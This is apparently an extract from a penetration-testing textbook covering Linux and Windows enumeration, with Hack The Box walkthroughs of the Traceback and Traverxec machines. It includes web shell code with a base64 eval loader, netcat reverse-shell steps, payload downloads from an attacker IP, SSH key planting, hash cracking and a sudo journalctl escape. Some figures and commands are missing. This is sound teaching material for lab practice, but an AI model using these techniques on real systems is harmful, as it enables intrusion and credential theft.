/dev contains device files that are the interface with physical devices on, or attached to, the
system such as tty devices /dev/tty1. /dev/shm is a directory that is commonly used as a
way of passing information between applications through shared memory. This is a virtual
directory and anything written to it is stored in memory and not actually written to disk.
Consequently, even though /tmp and /dev/shm get wiped on reboot of the machine, files in
/tmp could potentially be restored forensically even after being wiped.
/proc contains files that store information about system processes like uptime for example.
/var contains files like logs (/var/logs), backups (/var/backups), mail (/var/mail) and spool
(printing; /var/spool). There is also a /var/tmp directory that can be used to run programs
out of. This directory does survive reboots however. The directory /var/www/html is often
used as the root directory of the web server.
/tmp contains temporary files as mentioned previously. Files get deleted on reboot.
When enumerating the file system, the /home directory is a good place to start, especially if
you have access to any of the users on the system.
Home directories on Linux usually contain a number of files and directories that are hidden
because they start with a ".". To list them, you need to use the ls -la flag. Some of these files
are resource script files like .bashrc (if you are running bash) that configure the bash
environment. Things like configuring the amount of history that is kept which is normally
viewable by typing history or by listing the .bash_history file. Other programs such as
browsers and email clients keep hidden directories and files in the user's home directory
and so these are a good place to look for potentially sensitive information.
/var/backups which is a potential location for backups of sensitive files that may be
accessible.
/var/log is normally only accessible by root but if your user is part of the adm group, it may
be able to read some of the system log files and log files belonging to web and database
servers.
hide01.ir
/etc for configuration information for web servers and databases. The /etc/passwd file is
readable by all users and will reveal information about the users on the system, which ones
can login and where their home directories are located.
/opt can contain additional software that has been installed by a user and so is a good
place to look for things that are non-standard on the system.
/usr/local is another location of applications and libraries that have been installed from
source.
/bin, /sbin, /usr/local/bin we have already seen that searching for binaries that have the
suid of guid bit set is often an easy exploitable vulnerability and that we can search for
these generally on the system or specifically in these directories.
Another way of exploring what applications have been installed on a system is through the
specific package manager tool for the Linux distribution of the machine. One of the most
common tools for this is APT but there are a raft of others lime RPM or YUM for RedHat
systems. Using apt, you can investigate what packages have been installed on the system
with the command
apt --list
If we want to see what files a package has installed, we can use dpkg-query as follows:
1 ┌─[rin@parrot]─[~]
2 └──╼ $dpkg-query -L vim-common
3 /.
4 /etc
5 /etc/vim
6 /etc/vim/vimrc
7 /usr
8 /usr/bin
9 /usr/bin/helpztags
10 /usr/lib
11 /usr/lib/mime
12
hide01.ir
/usr/lib/mime/packages
13 /usr/lib/mime/packages/vim-common
14 <SNIP>
We can also find out what package a specific file was installed from using the dpkg
command:
1 ┌─[rin@parrot]─[~]
2 └──╼ $dpkg -S /usr/bin/nvim
3 neovim: /usr/bin/nvim
Enumerating processes
As a starting point, we can list the running processes on a machine using the ps command:
1 root 738 0.7 4.7 868380 285788 tty7 Ssl+ 2020 20:09
2 /usr/lib/xorg/Xorg :0 -seat seat0
3 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7
4 -novtswitch
5 root 739 0.0 0.0 2672 1616 tty1 Ss+ 2020 0:00
6 /sbin/agetty -o -p -- \u --noclear tty1 linux
7 redis 744 0.5 0.8 199724 50820 ? Ssl 2020 14:21
8 /usr/bin/redis-server 127.0.0.1:0
9 postgres 769 0.0 0.4 212832 24896 ? Ss 2020 0:24
10 /usr/lib/postgresql/13/bin/postgres
11 -D /var/lib/postgresql/13/main -c config_
12 file=/etc/postgresql/13/main/postgresql.conf
13 postgres 770 0.0 0.4 211568 25044 ? Ss 2020 0:09
14 /usr/lib/postgresql/12/bin/postgres
15 -D /var/lib/postgresql/12/main
16
hide01.ir
-c config_file=/etc/postgresql/12/main/postgresql.conf
17 postgres 793 0.0 0.1 212936 6120 ? Ss 2020 0:00
18 postgres: 13/main: checkpointer
We are looking for any unusual programs running and who they are being run by. This gives
us a static view of the processes however and doesn't necessarily show processes that are
run periodically and then terminate after a short period. To look at this sort of behaviour, we
can use a program called pspy64 (https://github.com/DominicBreuker/pspy\) which will
monitor processes and highlight when new processes run.
Services are usually long running processes, often run by specific accounts or root that
provide functionality such as communication, transportation, databases, web servers, etc.
You can list the services running on.a machine using
service --status-all
For each individual service, you can get additional information using the systemctl
application and then specific client applications that may communicate with the service.
1 ┌─[✗]─[rin@parrot]─[~]
2 └──╼ $systemctl status ufw
3 ufw.service - Uncomplicated firewall
4 Loaded: loaded (/lib/systemd/system/ufw.service; enabled;
5 vendor preset: enabled)
6 Active: active (exited) since 2 weeks 3 days ago
7 Docs: man:ufw(8)
8 Main PID: 370 (code=exited, status=0/SUCCESS)
9 Tasks: 0 (limit: 7009)
10 Memory: 0B
11 CGroup: /system.slice/ufw.service
Cron is a job scheduler that runs a process periodically. It is configured using a client
application crontab but you may have access to list cron jobs that are configured in a
number of different locations:
1
hide01.ir
/etc/crontab.hourly
2 /etc/crontab.daily
3 /etc/crontab.weekly
4 /etc/crontab.d
and in the file /etc/crontab. You can also list cron jobs for the current user using
crontab -l
LinPEAS will do all of the above and we will cover a few specific examples of enumeration
using LinPEAS. It is important to remember however that this doesn't substitute for manual
enumeration. LinPEAS, even in its "Stealth" mode will be very noisy because it will likely flag
unusual behavior for the user for any anomalous behavior detection software.
hide01.ir
Exercise: Enumeration and privilege
escalation on Traceback
An nmap scan of the box reveals ports 80 and 22 are open.
Going to the website at the IP address, we get a page saying that the site has been "owned"
by a hacker and that a backdoor has been installed.
<!--Some of the best web shells that you might need ;)-->
hide01.ir
If we do an Internet search with this line, we get a Github site of Web-Shells in ASP, JSP and
PHP (https://github.com/TheBinitGhimire/Web-Shells\). We know from nmap that the
machine is running Ubuntu and so is not going to be running ASP which is a Microsoft
technology. We would also assume that if the site was running JSP, we might have picked
up Tomcat when doing the nmap but it is running Apache. So we will assume that it is
running PHP for the time being. We can run a gobuster directory scan and use a special
wordlist from SecLists that has common backdoor shell names in it:
1 ┌─[oztechmuse@parrot]─[~/boxes/Traceback]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/SecLists/Discovery/Web-Content/\
4 CommonBackdoors-PHP.fuzz.txt -u http://traceback.htb
5
6 <SNIP>
7 /smevk.php (Status: 200)
This gives us a file smevk.php which is indeed one of the web shells from the GitHub site.
When we go to that file on the site, we get a login asking for a username and password as
shown here.
hide01.ir
.Looking at the code, of this shell, we see that there is a username and password "admin"
and "admin":
1 <?php
2 /*
3 SmEvK_PaThAn Shell v3 Coded by Kashif Khan .
4
5 https://www.facebook.com/smevkpathan
6
7 [email protected]
8 Edit Shell according to your choice.
9 Domain read bypass.
10 Enjoy!
11 */
12 //Make your setting here.
13 $deface_url = '
14 http://pastebin.com/raw.php?i=FHfxsFGT
15 '; //deface url here(pastebin).
16 $UserName = "admin"; //Your UserName here.
17 $auth_pass = "admin"; //Your Password.
18 //Change Shell Theme here//
19
hide01.ir
$color = "#8B008B"; //Fonts color modify here.
20 $Theme = '#8B008B'; //Change border-color.
21 $TabsColor = '#0E5061'; //Change tabs color here.
22 #-------------------------------------------------------------------------
23 ?>
1 <?php
2 $smevk ="...";
3 eval("?>".(base64_decode($smevk)));
4 ?>
After logging in, we are presented with information that the shell has gathered that includes
the username and group that we are executing as, the name of the machine and its
operating system information, and a listing of the directory of /var/www/html which is the
root web directory. Unfortunately, the poor choice of colors makes the page difficult to read
and so we should try and get a reverse shell to be able to explore more efficiently. We can
do that by executing a bash reverse shell in the Execute section of the web shell.
hide01.ir
Starting a netcat listener on port 6001, we get a hit when the script is executed and we can
then upgrade the shell
1 webadmin@traceback:/var/www/html$ python3 \
2 -c 'import pty;pty.spawn("/bin/bash");'
3 webadmin@traceback:/var/www/html$ ^Z
4 [1]+ Stopped nc -lvnp 6001
5 ┌─[✗]─[rin@parrot]─[~/boxes/Traceback]
6 └──╼ $stty raw -echo
7 ┌─[rin@parrot]─[~/boxes/Traceback]
8 └──╼ nc -lvnp 6001
9 webadmin@traceback:/var/www/html$
Now that we are on the box, we can start with some simple enumeration. The first thing is
to check what users are on the box by looking at the passwd file:
From this file, we can see that there are three users that have home directories and can
login; root, webadmin and sysadmin. Users that are not expected to login do not have a
home directory configured and instead of a shell, will have the /usr/sbin/nologin program
that will log the attempted login and print a message saying the "This account is currently
not available". Exploring their home directories, we only have access to /home/webadmin,
since that is who we are, and in that directory, we find a file note.txt with the contents:
hide01.ir
1 webadmin@traceback:/home/webadmin$ cat note.txt
2 sysadmin -
3 I have left a tool to practice Lua.
4 I'm sure you know where to find it.
5 Contact me if you have any question.
6 webadmin@traceback:/home/webadmin$
Looking at webadmin's home directory in more detail, we find that the .bash_history file has
some content. Looking at that file, we get:
1 webadmin@traceback:/home/webadmin$ ls -al
2 total 44
3 drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 2020 .
4 drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
5 -rw------- 1 webadmin webadmin 105 Mar 16 2020 .bash_history
6 -rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
7 -rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
8 drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
9 drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local
10 -rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
11 -rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
12 drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 2020 .ssh
13 -rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 2020 note.txt
14 webadmin@traceback:/home/webadmin$ cat .bash_history
15 ls -la
16 sudo -l
17 nano privesc.lua
18 sudo -u sysadmin /home/sysadmin/luvit privesc.lua
19 rm privesc.lua
20 logout
So this looks like webadmin can run a program /home/sysadmin/luvit as the user
sysadmin using sudo and pass it a Lua script.
Let us run LinPEAS and see what it finds. To get linpeas.sh we can run a python3 web
server from our machine and then use wget from Traceback. Copy linpeas.sh into a
directory and then run:
1 webadmin@traceback:/dev/shm$ wget
2 http://10.10.14.117:8000/linpeas.sh
3
4 --2020-12-27 20:31:05--
5 http://10.10.14.117:8000/linpeas.sh
6
7 Connecting to 10.10.14.117:8000... connected.
8 HTTP request sent, awaiting response... 200 OK
9 Length: 299897 (293K) [text/x-sh]
10 Saving to: 'linpeas.sh'
11 linpeas.sh 100%[===================>] in 1.2s
12 2020-12-27 20:31:07 (237 KB/s) - 'linpeas.sh' sav
13 webadmin@traceback:/dev/shm$ chmod a+x linpeas.sh
14 webadmin@traceback:/dev/shm$ ./linpeas.sh -s > linpeas.out
Going through the output, the first we find is further evidence that webadmin can run sudo
as indicated by the bash history we found earlier. In the LinPEAS output, we see that the
output from sudo -l which lists that webadmin has the ability to run the program luvit in
/home/sysadmin/luvit/ as user sysadmin:
1 ┌─[rin@parrot]─[~/boxes/Traceback] [34/40]
2 └──╼ $ssh-keygen -f sysadmin.key
3 Generating public/private rsa key pair.
4 Enter passphrase (empty for no passphrase):
5 Enter same passphrase again:
6 Your identification has been saved in sysadmin.key
7 Your public key has been saved in sysadmin.key.pub
8 The key fingerprint is:
9 SHA256:Nc30lm7tE6QDKmKMUuVSwK1FKJXeLlA0jZ8lUdFCfnk
10 rin@parrot
11 <SNIP>
Looking at the documentation for Lua script, writing to a file is fairly simple and we can
adapt the code to append the public key to the authorized_keys file:
1 file = io.open("/home/sysadmin/.ssh/authorized_keys","a")
2 io.output(file)
3 io.write("ssh-rsa … =")
Now that we are sysadmin and have got the flag in /home/sysadmin/user.txt, we can run
LinPEAS again as the sysadmin user. This will generate different output because as
sysadmin, we will have different privileges than webadmin. You can see this when looking
at the output and the sudo -l command returns nothing whereas it did when we were
webadmin. Running linpeas.sh again and looking through the output, we get a highly
exploitable vulnerability flagged:
Before we investigate this more, let us use another tool to enumerate processes called
pspy64 (https://github.com/DominicBreuker/pspy\). This will monitor processes and
hide01.ir
highlight when new processes run. When running it on Traceback, we see that every minute
a set of processes run:
Motd is "message of the day" and is a set of text files that are displayed to a user when they
log in. Linux uses PAM (Pluggable Authentication Modules) to manage the authentication
and login process. The module pam_motd is the one responsible for displaying the
messages to users logging in and before they get a shell.
We can see what happens to the pspy output when we SSH in:
The most important thing hers is that we can see the scripts in the motd files being run by
root. We should be able to modify one of the files and put in a reverse shell which will get
called when we SSH in.
We start a netcat listener on our box listening on port 6002, write the motd file and then ssh
as sysadmin. You will know that the process has worked because the SSH login will hang
when it executes the reverse shell. Our listener should then drop into a shell as root:
1 ┌─[rin@parrot]─[~/boxes/Traceback]
2 └──╼ $nc -lvnp 6002
3 listening on [any] 6002 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.189]
5 bash: cannot set terminal process group (50728):
6
hide01.ir
Inappropriate ioctl for device
7 bash: no job control in this shell
8 root@traceback:/# whoami
9 whoami
10 root
In the enumeration process, we went through the steps of looking for information and then
looking for vulnerabilities that we could exploit on the system, in this case a
misconfiguration left by the "hackers" who had taken over the machine. LinPEAS made that
process more efficient, highlighting the vulnerability of the group writeable motd files.
We will look at another example where using LinPEAS highlights potential credentials in a
configuration file to get a user with different privileges. Having got this user, we can do
some manual enumeration to find a path to escalate privileges to get root.
hide01.ir
Exercise: Enumeration and privilege
escalation on Traverxec
An nmap scan shows that ports 22 and 80 are open:
The web server is Nostromo version 1.9.6. Looking at the exploit database we find a
number of potential vulnerabilities with this version. Before looking at the exploits however,
we should look at the website itself.
Going to the home page, we find a site of David White who is a web designer.
hide01.ir
Looking at the web page, there is little functionality enabled and so we can go back to the
vulnerabilities of the webserver Nostromo. If we do a searchsploit of nostromo, we find the
following:
1 ┌─[rin@parrot]─[~/boxes/Traverexec]
2 └──╼ $searchsploit nostromo
3 Exploit Title Path
4 Nostromo - Directory Traversal Remote Command Execution
5 (Metasploit) | multiple/remote/47573.rb
6 nostromo 1.9.6 - Remote Code Execution | multiple/remote/
7 47837.py
8 nostromo nhttpd 1.9.3 - Directory Traversal Remote
9 Command Execution | linux/remote/35466.sh
The key part of the code that runs the exploit is the method cve:
We can use this script to run the same bash reverse shell we ran in Traceback after setting
up a netcat listener (note that you may have to change the code slightly to get it to run with
Python 3, encoding the payload: soc.send(payload.encode()):
1 ┌─[rin@parrot]─[~]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.193] 51660
5 bash: cannot set terminal process group (640):
6 Inappropriate ioctl for device
7 bash: no job control in this shell
8 www-data@traverxec:/usr/bin$ whoami
9 whoami
10 www-data
Now that we are on the box, we can run LinPEAS by getting it using our local Python web
server. The machine is running Debian Buster and there are two users with login, root and
david. The key thing LinPEAS finds is a password hash that is stored in a .htpasswd file:
1 [i]
2 https://book.hacktricks.xyz/linux-unix/privilege-escalation#read-sensitive
3
4 -rw-r--r-- 1 root root 1994 Apr 18 2019 /etc/bash.bashrc
5 -rw-r--r-- 1 root root 3526 Apr 18 2019 /etc/skel/.bashrc
6 -rw-r--r-- 1 root root 807 Apr 18 2019 /etc/skel/.profile
7 -rw-r--r-- 1 root root 570 Jan 31 2010 /usr/share/base-files
8 /dot.bashrc
9 -rw-r--r-- 1 root root 2778 Jun 26 2016 /usr/share/doc/
10 adduser/examples/adduser.local.conf.examples/bash.bashrc
11 -rw-r--r-- 1 root root 802 Jun 26 2016 /usr/share/doc/
12 adduser/examples/adduser.local.conf.examples/skel/
13 dot.bashrc
14 -rw-r--r-- 1 root bin 41 Oct 25 2019 /var/nostromo/conf/
15 .htpasswd
16 Reading /var/nostromo/conf/.htpasswd
17 david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
We can try and crack the hash with John The Ripper. John detects that the hash is
md5crypt and cracks the password as Nowonly4me:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Traverexec]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt \
3 hash.txt
4 Warning: detected hash type "md5crypt", but the string
5 is also recognized as "md5crypt-long"
6 Use the "--format=md5crypt-long" option to force
7 loading these as that type instead
8 Using default input encoding: UTF-8
9 Loaded 1 password hash (md5crypt, crypt(3) $1$
10 (and variants) [MD5 256/256 AVX2 8x3])
11 Will run 2 OpenMP threads
12 Press 'q' or Ctrl-C to abort, almost any other key
13 for status
14 Nowonly4me (?)
15 <SNIP>
If we go into the /var/Nostromo/conf directory, we can see that there is a configuration file
for Nostromo nhttpd.conf, which when we examine, has declared support for home
directories:
1 # HOMEDIRS [OPTIONAL]
2 homedirs /home
3 homedirs_public public_www
This allows support for people running personal web pages which are of the URL format
http://traverexec.htb/~user/. We know that there are two users, root and david. For root, we
get a 404 but for david we get a page shown here:
hide01.ir
When we try and list the contents of /home/david, we get Permission denied as we have
execute but not read permission:
1 www-data@traverxec:/home$ ls -al
2 total 12
3 drwxr-xr-x 3 root root 4096 Oct 25 2019 .
4 drwxr-xr-x 18 root root 4096 Oct 25 2019 ..
5 drwx--x--x 5 david david 4096 Oct 25 2019 david
From the Nostromo configuration file, we know that the web page for a home directory is in
the directory public_www so we can enter that directory and list the contents:
1 www-data@traverxec:/home$ cd david/public_www
2 www-data@traverxec:/home/david/public_www$ ls -al
3 total 16
hide01.ir
4 drwxr-xr-x 3 david david 4096 Oct 25 2019 .
5 drwx--x--x 5 david david 4096 Oct 25 2019 ..
6 -rw-r--r-- 1 david david 402 Oct 25 2019 index.html
7 drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file
Looking at the directory ./protected-file-area we find an .htaccess file and a file called
backup-ssh-identity-files.tgz
1 www-data@traverxec:/home/david/public_www/
2 protected-file-area$ ls -al
3 total 16
4 drwxr-xr-x 2 david david 4096 Oct 25 2019 .
5 drwxr-xr-x 3 david david 4096 Oct 25 2019 ..
6 -rw-r--r-- 1 david david 45 Oct 25 2019 .htaccess
7 -rw-r--r-- 1 david david ... backup-ssh-identity-files.tgz
1 www-data@traverxec:/home/david/public_www/
2 protected-file-area$ cat .htaccess
3 realm David's Protected File Area. Keep out!
The .htaccess file is a simple way of restricting access to a directory and require basic
authentication of a user on the box. When we try and go to the URL
http://traverexec.htb/~david/protected-file-area/ we get presented with the dialog box and
can use the david as the username and Nowonly4me as the password.
hide01.ir
Basic authentication dialog box when navigating to http://traverexec.htb/~david/protected-
file-area
Once we get through the dialog, we get the contents of the directory listed. We can
download the file by right clicking and saving the link.
Contents of http://traverexec.htb/~david/protected-file-area
The file is in a compressed tar format and we can expand the contents using:
1 ┌─[rin@parrot]─[~/boxes/Traverexec/files]
2 └──╼ $tar xvf backup-ssh-identity-files.tgz
3 home/david/.ssh/
4 home/david/.ssh/authorized_keys
5 home/david/.ssh/id_rsa
6 home/david/.ssh/id_rsa.pub
Going into the directory ./home/david/.ssh and looking at the id_rsa key file, we see that it
is encrypted
1 ┌─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $cat id_rsa
3 -----BEGIN RSA PRIVATE KEY-----
4 Proc-Type: 4,ENCRYPTED
5 DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
6 <SNIP>
7 -----END RSA PRIVATE KEY-----
And sure enough, when we try and use it to SSH using the user david, we get prompted for a
password. The password we used for the web page doesn't work however. Nor does it work
hide01.ir
when using it as david's actual login password. We can try and crack the id_rsa key by
using ssh2john.py which will extract a password hash from the SSH key in a format that
John understands:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $python2 /usr/share/john/ssh2john.py id_rsa > hash.txt
1 ┌─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt \
3 hash.txt
4 Using default input encoding: UTF-8
5 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH
6 (SSH private keys) 32/64])
7 Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES])
8 is 0 for all loaded hashes
9 Cost 2 (iteration count) is 1 for all loaded hashes
10 Will run 2 OpenMP threads
11 Note: This format may emit false positives, so it
12 will keep trying even after
13 finding a possible candidate.
14 Press 'q' or Ctrl-C to abort, almost any other key
15 for status
16 hunter (id_rsa)
When we try and SSH now and use the password hunter, we get in!
1 ┌─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $ssh -i ./id_rsa [email protected]
3 Enter passphrase for key './id_rsa':
4 Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2
5 +deb10u1 (2019-09-20) x86_64
6 Last login: Tue Dec 29 07:54:43 2020 from 10.10.14.117
7 david@traverxec:~$
hide01.ir
As a starting point of our enumeration, it is always a good idea to start with the home
directory and if we list david's directory, we get
1 david@traverxec:~$ ls -al
2 total 36
3 drwx--x--x 5 david david 4096 Oct 25 2019 .
4 drwxr-xr-x 3 root root 4096 Oct 25 2019 ..
5 lrwxrwxrwx 1 root root 9 Oct 25 2019 .bash_history ->
6 /dev/null
7 -rw-r--r-- 1 david david 220 Oct 25 2019 .bash_logout
8 -rw-r--r-- 1 david david 3526 Oct 25 2019 .bashrc
9 drwx------ 2 david david 4096 Oct 25 2019 bin
10 -rw-r--r-- 1 david david 807 Oct 25 2019 .profile
11 drwxr-xr-x 3 david david 4096 Oct 25 2019 public_www
12 drwx------ 2 david david 4096 Oct 25 2019 .ssh
13 -r--r----- 1 root david 33 Oct 25 2019 user.txt
The .bash_history is a symbolically linked file to /dev/null which is a special file that
discards any content written to it. This is done on Hack The Box so that there is no
persistent history of the user's commands. There is the the .ssh directory and the
public_www directory we have already looked at but there is a new directory ./bin. The
directory has two files; server-stats.head and server-stats.sh with the following content:
1 david@traverxec:~/bin$ ls -al
2 total 16
3 drwx------ 2 david david 4096 Oct 25 2019 .
4 drwx--x--x 5 david david 4096 Oct 25 2019 ..
5 -r-------- 1 david david 802 Oct 25 2019 server-stats.head
6 -rwx------ 1 david david 363 Oct 25 2019 server-stats.sh
7 david@traverxec:~/bin$ cat server-stats.head
8 .----.
9 .---------. | == |
10 Webserver Statistics and Data |.-"""""-.| |----|
11 Collection Script || || | == |
12 (c) David, 2019 || || |----|
13 |'-.....-'| |::::|
14 '"")---(""' |___.|
15 /:::::::::::\" "
16 /:::=======:::\
17 jgs '"""""""""""""'
18
19 david@traverxec:~/bin$ cat server-stats.sh
20 #!/bin/bash
hide01.ir
21 cat /home/david/bin/server-stats.head
22 echo "Load: `/usr/bin/uptime`"
23 echo " "
24 echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 \"
25 echo " | /usr/bin/wc -l`"
26 echo "Files in the docroot: `/usr/bin/find \"
27 echo "/var/nostromo/htdocs/ | /usr/bin/wc -l`"
28 echo " "
29 echo "Last 5 journal log lines:"
30 /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | \
31 /usr/bin/cat
32 david@traverxec:~/bin$
The interesting part of this is the sudo command running the program journalctl. This is a
program that interacts with journald a daemon (service) that manages the journals (logs)
generated by systemd on a Linux system. The script is displaying the contents of server-
stats.head, then doing the "uptime" command which shows the current time, how long the
system has been running and the number of users logged onto the system. The ss
command will list the open sockets connected to the web server on port 80 and then count
the number of lines in the output using wc -l. Finally, the sudo command is running
journalctl which is listing the last 5 entries of the logs for the web server nostromo.service.
Since we can run journalctl using sudo, we can look at GTFObins and find that journalctl
uses less when the content is longer than a single page. Less is a program on Linux that
will break content into pages and allows vi commands to search for content as well as
dropping into an interactive shell with !/bin/sh command. Journalctl does not drop the
sudo privileges when running less and so it is possible to drop to an elevated shell very
simply by running:
Windows has a number of different types of accounts. On a single machine where all of the
accounts are local accounts, the types are Administrator, Standard and Guest. The
difference between Administrator and a Standard user is in what files and folders they can
access on the machine and what actions they can take, like installing software, stopping
and starting services and other systems administrative tasks.
File permissions are controlled differently from the simple read, write, execute permissions
of Linux. Windows sets permissions on folders and files that allow users, or the groups they
belong to, modify, read and execute, list folder contents, and read and write data. There are
some other permissions relating to controlling who can access attributes and permissions
themselves.
What a user can do is controlled also by user rights. These are privileges that allow users to
do specific tasks such as back up files and directories which is controlled by the
SeBackupPrivilege or debug programs which is SeDebugPrivilege. We can list the privileges
on an account in several ways. The command whoami /priv will list the privileges set on a
user and whether they are disabled or enabled:
1 c:\Users\rin>whoami /priv
2 PRIVILEGES INFORMATION
3
hide01.ir
----------------------
4 Privilege Name Description State
5 ============================= =============================== ========
6 SeShutdownPrivilege Shut down the system Disabled
7 SeChangeNotifyPrivilege Bypass traverse checking Enabled
8 SeUndockPrivilege Remove computer from docking... Disabled
9 SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
10 SeTimeZonePrivilege Change the time zone Disabled
In addition to these rights that a user has, Windows groups also have their own rights and
so belonging to a specific group can give you access to those rights not specifically granted
through the user privileges. An example of this is Remote Desktop Users that allows
members to remotely access the machine.
Active Directory
Active Directory (AD) is often used to manage users in an organization because the users
can be centrally managed and can have access to more than one computer in the AD
domain. We won't be covering AD in detail here but just the basics about users and how
users and their access privileges change when they are an AD account rather than a local
account on a machine.
Generally, users rights in AD are the same as those that are assigned locally although there
are some specific rights that apply only in an Active Directory environment. What does
change are the built-in privileged accounts and groups of Active Directory. This includes
Enterprise Admins, Domain Admins, Administrators and Schema Admins. Commonly, we
are looking to get access to a user who is an enterprise or domain admin.
As with Linux machines in the previous chapter, the aim of enumeration is to understand
the system that you have access to in detail including the physical characteristics, network,
and software that is running on it, including system software. As with remote access, we
are looking for vulnerabilities related to software versions that we can exploit because we
hide01.ir
have local access. The same rules apply as before, depending on whether we actually have
the user's password and are able to exploit authenticated vulnerabilities as well as
unauthenticated ones. Whilst doing this, we are going to pay specific attention to potential
misconfigurations that can be exploited such as execution paths that allow scripts and
binaries to be run as part of the normal processing on the system. User privileges that allow
execution of administrative commands, installing or running services to establish
persistence and to create or alter users on the system.
With Windows, there is the added element of the enterprise environment which allows us to
get ownership of an entire domain of computers and accounts if we get administrative
privileges on that Active Directory domain or all of the domains of an enterprise.
At the same time, we are searching for information that might be accessible and useful,
including but not limited to, usernames and passwords. This might be in documents,
configuration files and databases.
To assist with this, there is a windows equivalent for LinPEAS called WinPEAS that does the
same job at enumerating aspects of the machine. We will look at the individual areas that
WinPEAS enumerates. Although we can look at individual commands that could be run
independently, it is easier if you need to know what these commands are, to look at the
WinPEAS script.
System Info
With Windows, the important aspects are the version of Windows that we are dealing with,
its particular build number and what hotfixes or patches (dealing with specific KBs or
Knowledge Base issues). This will allow us to determine if there are any specific
vulnerabilities that this configuration may have. We also need to know the architecture of
the machine to know what versions of applications to run (64 bit vs 32 bit) although it is
becoming rarer to see a 32 bit version of Windows running. WinPEAS provides the following
information about the system:
1 Hostname: DESKTOP-IRRKDNQ
2 ProductName: Windows 10 Education
3 EditionID: Education
4 ReleaseId: 1709
5 BuildBranch: rs3_release
6
hide01.ir
CurrentMajorVersionNumber: 10
7 CurrentVersion: 6.3
8 Architecture: AMD64
9 ProcessorCount: 2
10 SystemLang: en-US
11 KeyboardLang: English (United States)
12 TimeZone: (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
13 IsVirtualMachine: True
14 Current Time: 1/4/2021 11:55:39 AM
15 HighIntegrity: True
16 PartOfDomain: False
17 Hotfixes: KB2693643, KB4519564, KB4134661, KB4295110, KB4462930, KB4486153
18 KB4489219, KB4516115, KB4523202, KB4525241,
Using the version and build number, WinPEAS will use Watson to check what Knowledge
Base updates (KBs) have been updated and then suggest privilege escalation
vulnerabilities based on that. Alternatively, or in addition, you can use searchsploit and
internet searches to look for exploits.
Environment
Environment variables are set at a system (machine) level, user level and process level. On
Windows, you can use PowerShell to list all environment variables using the command
Get-ChildItem env:
Individual variables can be printed using $env:SystemRoot and you can set variables using
the same syntax $env:SystemRoot = c:\
The Path variable is important because it will be used by Windows to find an executable
and so if you have control over a directory in a path, then you can potentially add your own
executable file.
WinPEAS will list all environment variables on the machine for your user.
Check protections
hide01.ir
Although this will be the subject of its own chapter, Windows has a range of software and
configurations that try and protect the machine against deliberate or accidental
manipulation. We will go into some of these in more detail later, along with a discussion of
how to evade these protections, but for the time being, WinPEAS will list what protections
are enabled:
auditing of various events such as logon, account management, privilege use, process
tracking.
Windows Event Forwarding (WEF) which forwards events for other systems to check
for intrusions
Local Administrator Password Solution (LAPS) which manages local administrator
passwords in an AD environment,
LSA Protection which is additional protection for the Local Security Authority,
Credentials Guard which protects NTLM password hashes, Kerberos Ticket Granting
Tickets and application credentials,
Antivirus such as Windows Defender
User Account Control (UAC) which checks whether software being run is authorized and
whether the user running it is entitled to run it
PowerShell
PowerShell version information can be obtained by using the variable $PSVersionTable and
you can also check any logged history stored in the file:
1 c:\Users\rin\AppData\Roaming\Microsoft\Windows\PowerShell\
2 PSReadLine\ConsoleHost_history.txt
Another important policy that will determine what you can and can't do with PowerShell is
its execution mode. PowerShell has the following execution modes:
Restricted: which will not run scripts but just allow interactive commands
ByPass: nothing is blocked and there are no warnings or prompt
hide01.ir
AllSigned: which will run scripts but they have to be signed by a publisher you trust
although you can agree to trust a publisher
Remote Signed: where local scripts can run unsigned but those run from remote
sources need to be signed.
Unrestricted: which will run all scripts.
Undefined: the default is restricted for Windows clients and RemoteSigned for Windows
servers.
These policies apply at the machine, user, process level and you can list them using the
command:
To change the execution policy, you can use Set-ExecutionPolicy Unrestricted but you need
administrative access to do that.
Get information about the users and groups on the system and whether the current user
has privileges that can be used to escalate further such as: SeImpersonatePrivilege,
SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege,
SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege,
SeDebugPrivilege. This is covered in more detail below.
Processes
hide01.ir
1. Check for non-Microsoft processes that are running on the box, their versions and any
known vulnerabilities
2. Check for non-Microsoft services that are running under elevated accounts.
